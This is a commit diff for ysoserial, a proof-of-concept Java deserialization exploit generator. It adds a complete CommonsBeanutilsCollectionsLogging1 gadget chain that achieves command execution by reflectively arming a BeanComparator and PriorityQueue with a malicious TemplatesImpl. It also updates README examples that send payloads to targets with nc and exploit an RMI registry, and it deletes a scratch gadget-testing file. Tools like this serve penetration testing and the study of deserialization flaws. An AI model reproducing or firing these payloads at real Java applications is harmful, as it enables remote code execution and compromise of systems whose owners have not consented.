added beanutils gadget chain, release 0.0.4

README.md

@@ -7,8 +7,8 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object
 
 ## Description
 
-Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/). 
-Updated to include a [JRE <= 1.7u21 gadget chain](https://gist.github.com/frohoff/24af7913611f8406eaf3).
+Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). 
+Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0).
 
 __ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java 
 libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. 
@@ -29,10 +29,11 @@ are not responsible or liable for misuse of the software. Use responsibly.
 ## Usage
 
 ```shell
-$ java -jar ysoserial-0.0.3-all.jar
+$ java -jar target/ysoserial-0.0.4-all.jar
 Y SO SERIAL?
 Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
         Available payload types:
+                CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
                 CommonsCollections1 [commons-collections:commons-collections:3.1]
                 CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
                 CommonsCollections3 [commons-collections:commons-collections:3.1]
@@ -45,7 +46,7 @@ Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute
 ## Examples
 
 ```shell
-$ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd
+$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
@@ -54,10 +55,10 @@ $ java -jar ysoserial-0.0.3-all.jar CommonsCollections1 calc.exe | xxd
 0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
 0000570: 0078 7071 007e 003a                      .xpq.~.:
        
-$ java -jar ysoserial-0.0.3-all.jar Groovy1 calc.exe > groovypayload.bin
+$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
 $ nc 10.10.10.10 < groovypayload.bin
 
-$ java -cp ysoserial-0.0.3-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
+$ java -cp ysoserial-0.0.4-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
 ```
 
 ## Installation

pom.xml

@@ -4,7 +4,7 @@
 
 	<groupId>ysoserial</groupId>
 	<artifactId>ysoserial</artifactId>
-	<version>0.0.3-SNAPSHOT</version>
+	<version>0.0.4</version>
 	<packaging>jar</packaging>
 
 	<name>ysoserial</name>
@@ -101,16 +101,16 @@
 			<artifactId>commons-collections</artifactId>
 			<version>3.1</version>
 		</dependency>
+        <dependency>
+            <groupId>commons-beanutils</groupId>
+            <artifactId>commons-beanutils</artifactId>
+            <version>1.9.2</version>
+        </dependency>
 		<dependency>
 			<groupId>org.apache.commons</groupId>
 			<artifactId>commons-collections4</artifactId>
 			<version>4.0</version>
 		</dependency>
-		<dependency>
-			<groupId>org.apache.commons</groupId>
-			<artifactId>commons-lang3</artifactId>
-			<version>3.1</version>
-		</dependency>
 		<dependency>
 			<groupId>org.codehaus.groovy</groupId>
 			<artifactId>groovy</artifactId>

src/main/java/Tester.java

@@ -1,97 +0,0 @@
-import java.beans.EventHandler;
-import java.io.Serializable;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-
-import javassist.util.proxy.ProxyFactory;
-
-import javax.xml.transform.Templates;
-
-import sun.misc.Unsafe;
-import ysoserial.Deserializer;
-import ysoserial.Serializer;
-import ysoserial.payloads.util.Gadgets;
-
-
-public class Tester {
-	public static class Foo {
-		public boolean value() {
-			System.out.println("called");
-			return true;
-		}
-	}
-
-	public static void main(String[] args) throws Exception {
-
-//		Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class);
-//
-//		t.equals(new Foo());
-
-
-		ProxyFactory pf2 = new ProxyFactory();
-		ProxyFactory pf = new ProxyFactory();
-
-		pf.setInterfaces(new Class[]{ Serializable.class });
-		pf.setSuperclass(EventHandler.class);
-		pf.setUseWriteReplace(true);
-		pf.setUseCache(false);
-
-		//     public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) {
-
-
-		Templates t = Gadgets.createTemplatesImpl("hostname");
-
-		Class c = pf.createClass();
-
-		Constructor ctor = c.getConstructors()[0];
-		ctor.setAccessible(true);
-
-		Object o = ctor.newInstance(t, "getOutputProperties", null, null);
-
-
-		//Object o = getUnsafe().allocateInstance(c);
-
-		//Object o = c.newInstance();
-
-//		System.out.println(pf);
-//		System.out.println(pf.hashCode());
-//		System.out.println(c);
-		System.out.println(c.getName());
-		System.out.println(o.getClass().getName());
-//		System.out.println(o);
-//		System.out.println(Arrays.asList(c.getInterfaces()));
-
-		byte[] serialized = Serializer.serialize(o);
-//
-////		System.out.write(serialized);
-//
-		try {
-			Object o2 = Deserializer.deserialize(serialized);
-			//System.out.println(o2);
-			System.out.println(o2.getClass());
-			System.out.println(o2.getClass().getName());
-
-			o2 = Deserializer.deserialize(serialized);
-			System.out.println(o2.getClass());
-			System.out.println(o2.getClass().getName());
-
-			o2 = Deserializer.deserialize(serialized);
-			System.out.println(o2.getClass());
-			System.out.println(o2.getClass().getName());
-		} catch (Exception e) {
-			e.printStackTrace();
-		}
-
-
-		getUnsafe().allocateInstance(Class.class);
-
-	}
-
-	public static Unsafe getUnsafe() {
-	    try {
-	            Field f = Unsafe.class.getDeclaredField("theUnsafe");
-	            f.setAccessible(true);
-	            return (Unsafe)f.get(null);
-	    } catch (Exception e) { throw new RuntimeException(e); }
-	}
-}

src/main/java/ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java

@@ -0,0 +1,44 @@
+package ysoserial.payloads;
+
+import java.math.BigInteger;
+import java.util.PriorityQueue;
+
+import org.apache.commons.beanutils.BeanComparator;
+
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+
+@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
+public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
+
+	public Object getObject(final String command) throws Exception {
+		final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
+		// mock method name until armed
+		final BeanComparator comparator = new BeanComparator("lowestSetBit");
+
+		// create queue with numbers and basic comparator
+		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+		// stub data for replacement later
+		queue.add(new BigInteger("1"));
+		queue.add(new BigInteger("1"));
+
+		// switch method called by comparator
+		Reflections.setFieldValue(comparator, "property", "outputProperties");
+
+		// switch contents of queue
+		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+		queueArray[0] = templates;
+		queueArray[1] = templates;
+
+		return queue;
+	}
+
+	public static void main(final String[] args) throws Exception {
+		PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
+	}
+}